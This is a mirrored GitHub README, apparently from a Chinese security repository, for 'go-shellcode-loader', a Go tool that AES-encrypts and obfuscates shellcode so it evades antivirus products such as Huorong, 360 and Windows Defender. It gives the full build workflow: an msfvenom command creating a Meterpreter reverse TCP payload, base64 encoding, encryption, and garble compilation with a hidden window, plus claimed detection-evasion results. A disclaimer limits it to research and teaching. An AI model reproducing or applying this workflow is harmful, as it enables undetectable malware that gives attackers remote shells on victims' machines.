GithubHelp home page GithubHelp logo

go-shellcode-loader's Introduction

go-shellcode-loader

GO混淆免杀shellcode加载器AES加密

混淆反检测 过DF、360和火绒

获取项目

git clone https://github.com/HZzz2/go-shellcode-loader.git
cd go-shellcode-loader
//下条命令安装第三方混淆库  GitHub地址:https://github.com/burrowers/garble
go install mvdan.cc/garble@latest    

生成shellcode并base64

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=9999 -f raw > rev.raw

base64 -w 0 -i rev.raw > rev.bs64

cat rev.bs64

复制到aes-sc.go中的51行替换payload

运行aes-sc.go生成AES加密后的值

go run aes-sc.go

复制输出的值到go-sc.go中的73行替换payload

编译成exe可执行程序

garble -tiny -literals -seed=random build -ldflags="-w -s -H windowsgui" -race go-sc.go

参数解释:

garble(混淆库):

                      -tiny                    删除额外信息
                      
                      -literals               混淆文字

                      -seed=random   base64编码的随机种子 

go:

    -w                        去掉调试信息,不能gdb调试了

    -s                         去掉符号表

    -H windowsgui    隐藏执行窗口,不占用 cmd 终端。 (被查杀率高)

    -race                    使数据允许竞争检测

编译后得到go-sc.exe

检测图

火绒

image

360杀毒

image

360卫士

image

DF

image

virustotal

image

微步云杀箱

image

运行效果

go_sc_run.mp4

免责声明

仅供安全研究与教学之用,如果使用者将其做其他用途,由使用者承担全部法律及连带责任,本人不承担任何法律及连带责任。

go-shellcode-loader's People

Contributors

hzzz2 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.